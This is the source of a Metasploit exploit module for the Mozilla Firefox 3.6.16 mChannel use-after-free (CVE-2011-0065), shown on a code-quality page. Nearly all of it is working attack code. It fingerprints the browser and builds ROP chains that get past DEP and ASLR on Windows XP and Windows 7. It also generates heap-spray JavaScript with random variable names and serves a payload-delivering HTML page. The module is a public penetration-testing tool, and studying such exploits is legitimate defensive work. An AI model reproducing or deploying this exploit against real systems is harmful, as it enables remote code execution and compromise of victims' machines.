rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/browser/mozilla_mchannel.rb

Summary

Maintainability
D
2 days
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name => HttpClients::FF,
  #  :ua_minver => "3.6.16",
  #  :ua_maxver => "3.6.16",
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :javascript => true,
  #  :rank => NormalRanking,
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability',
      'Description'    => %q{
          This module exploits a use after free vulnerability in Mozilla
        Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
        OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
        becomes a dangling pointer and can be reused when setting the OBJECTs
        data attribute. (Discovered by regenrecht). This module uses heapspray
        with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
        a windows 7 target was provided using JAVA 6 and below to avoid aslr.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'regenrecht',  # discovery
          'Rh0',         # metasploit module
          'mr_me <steventhomasseeley[at]gmail.com>' # win7 target
        ],
      'References'     =>
        [
          ['CVE',    '2011-0065'],
          ['OSVDB',  '72085'],
          ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
          ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space' => 1024,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [

          [ 'Automatic', { } ],

          # DEP bypass
          [
            'Firefox 3.6.16 on Windows XP SP3',
            {
              'Arch' => ARCH_X86,
              'Fakevtable' => 0x0c00,
              'Fakefunc' => 0x0c00001c,
            }
          ],

          # requires JAVA <= JAVA 6 update 26
          # cop stack pivot = ASLR/DEP bypass
          [
            'Firefox 3.6.16 on Windows 7 + Java',
            {
              'Arch' => ARCH_X86,
              'Fakevtable' => 0x1000,
              'Fakefunc' => 0x100002a4,
              'Ppppr' => 0x7c3410c0,
              'Retn' => 0x7c3410c4,
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2011-05-10'
      ))
  end

  def junk
    return rand_text_alpha(4).unpack("L")[0].to_i
  end

  def on_request_uri(cli, request)

    # Random JavaScript variable names
    js_element_name      = rand_text_alpha(rand(10) + 5)
    js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
    js_sc_name           = rand_text_alpha(rand(10) + 5)
    js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
    js_chunk_name        = rand_text_alpha(rand(10) + 5)
    js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
    js_block_name        = rand_text_alpha(rand(10) + 5)
    js_array_name        = rand_text_alpha(rand(10) + 5)
    js_retns             = rand_text_alpha(rand(10) + 5)
    js_applet_name       = rand_text_alpha(rand(10) + 5)
    js_ppppr             = rand_text_alpha(rand(10) + 5)
    js_filler            = rand_text_alpha(rand(10) + 5)

    agent = request.headers['User-Agent']

    # Set target manually or automatically
    my_target = target
    if my_target.name == 'Automatic'
      if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
        my_target = targets[1]
      elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
        my_target = targets[2]
      end
    end

    # check for non vulnerable targets
    if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
      print_error("Target not supported: #{agent}")
      send_not_found(cli)
      return
    end

    # Re-generate the payload
    return if ((p = regenerate_payload(cli).encoded) == nil)

    if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/

      html_trigger = ""
      if ("/" == get_resource[-1,1])
        html_trigger = get_resource[0, get_resource.length - 1]
      else
        html_trigger = get_resource
      end

      custom_js = <<-JS
      function forward() {
        window.location = window.location + "#{html_trigger}.html";
      }

      function start() {
        setTimeout("forward()", 3500);
      }
      start();
      JS

    else
      if my_target.name =~ /Windows XP/

        # DEP bypass using xul.dll
        rop_gadgets = [
          0x1052c871,  # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
          junk,        # junk --------------------------------------------------------------^^
          0x7c801ad4,  # VirtualProtect
          junk,        # junk -------------------------------------------------------------------------^^
          junk,        # junk -------------------------------------------------------------------------^^
          0x1003876B,  # jmp esp
          0x0c000040,  # start address
          0x00000400,  # size 1024
          0x00000040,  # Page EXECUTE_READ_WRITE
          0x0c0c0c00,  # old protection
        ].pack("V*")

        rop = rop_gadgets

      elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/

        # 5 gadgets to pivot using call oriented programming (cop)
        # these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
        # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
        # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
        # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
        # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
        # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN

        rop_pivot = [
          0x6D32280C,  # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
          junk,        # filler
          0x6D7E627D,  # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
          0x7C3413A4,  # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
        ].pack("V*")

        # 319

        # rop nops - RETN
        rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)

        # POP r32 / RETN
        rop_pivot << [0x7c3410c3].pack("V*")

        # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
        rop_pivot << [0x6D7E5CDA].pack("V*")

        # rop nops - RETN
        rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)

        # POP r32 / RETN
        rop_pivot << [0x7c3410c3].pack("V*")

        # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
        rop_pivot << [0x6D325BFC].pack("V*")

        # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
        rop_gadgets = [
          0x7c346c0a,  # POP EAX / RETN
          0x7c37a140,  # Make EAX readable
          0x7c37591f,  # PUSH ESP / ... / POP ECX / POP EBP / RETN
          junk,        # EBP (filler)
          0x7c346c0a,  # POP EAX / RETN
          0x7c37a140,  # *&VirtualProtect()
          0x7c3530ea,  # MOV EAX,[EAX] / RETN
          0x7c346c0b,  # Slide, so next gadget would write to correct stack location
          0x7c376069,  # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
          junk,        # EDI (filler)
          junk,        # will be patched at runtime (VP), then picked up into ESI
          junk,        # EBX (filler)
          0x7c376402,  # POP EBP / RETN
          0x7c345c30,  # ptr to 'push esp /  ret'
          0x7c346c0a,  # POP EAX / RETN
          0xfffffdff,  # size 0x00000201 -> ebx
          0x7c351e05,  # NEG EAX / RETN
          0x7c354901,  # POP EBX / RETN
          0xffffffff,  # pop value into ebx
          0x7c345255,  # INC EBX / FPATAN / RETN
          0x7c352174,  # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
          0x7c34d201,  # POP ECX / RETN
          0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
          0x7c34b8d7,  # POP EDI / RETN
          0x7c34b8d8,  # ROP NOP (-> edi)
          0x7c344f87,  # POP EDX / RETN
          0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
          0x7c351eb1,  # NEG EDX / RETN
          0x7c346c0a,  # POP EAX / RETN
          0x90909090,  # NOPS (-> eax)
          0x7c378c81,  # PUSHAD / ADD AL,0EF / RETN
          0x90909090,  # NOPS (-> eax)
        ].pack("V*")

        rop = rop_pivot + rop_gadgets

      end

      payload_buf  = ''
      payload_buf << rop
      payload_buf << p
      escaped_payload = Rex::Text.to_unescape(payload_buf)

      # setup the fake memory references
      fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
      fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

      if my_target.name =~ /Windows XP/

        # fast loading JS so we dont get the 'unresponsive script' warning from ff
        custom_js = <<-JS
        #{js_element_name} = document.getElementById("d");
        #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

        #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
        var #{js_sc_name} = unescape("#{escaped_payload}");

        var #{js_ret_addr_name} = unescape("#{fakefunc}");
        while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
        var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
        #{js_chunk_name} += #{js_sc_name};
        #{js_chunk_name} += #{js_ret_addr_name};
        var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
        while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
        var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
        #{js_array_name} = new Array()
        for (n=0;n<0x80;n++){
          #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
        }
        JS
      elsif my_target.name =~ /Windows 7/

        # setup precision heap spray
        ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
        retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))

        # fast loading JS so we dont get the 'unresponsive script' warning from ff
        # precision heap spray
        custom_js = <<-JS
        #{js_element_name} = document.getElementById("d");
        #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

        #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
        var #{js_sc_name} = unescape("#{escaped_payload}");

        var #{js_ret_addr_name} = unescape("#{fakefunc}");
        var #{js_retns} = unescape("#{retns}");

        #{js_ret_addr_name} += #{js_retns};
        #{js_ret_addr_name} += #{js_retns};
        #{js_ret_addr_name} += #{js_retns};
        #{js_ret_addr_name} += #{js_retns};

        var #{js_ppppr} = unescape("#{ppppr}");
        #{js_ret_addr_name} += #{js_ppppr};

        var #{js_filler} = unescape("%u4344%u4142");
        while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}

        while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}

        var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);

        #{js_chunk_name} += #{js_sc_name};
        #{js_chunk_name} += #{js_filler};
        #{js_chunk_name} += #{js_ret_addr_name};

        var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
        while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
        var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
        #{js_array_name} = new Array()
        for (n=0;n<0x80;n++){
          #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
        }
        JS
      end
    end

    html = <<-HTML
    <html>
    <body>
      <object id="d"><object>
      <applet code="#{js_applet_name}.class" width=0 height=0></applet>
      <script type="text/javascript">
      #{custom_js}
      </script>
    </body>
    </html>
    HTML

    #Remove the extra tabs
    html = html.gsub(/^ {4}/, '')
    print_status("Sending HTML...")
    send_response_html(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end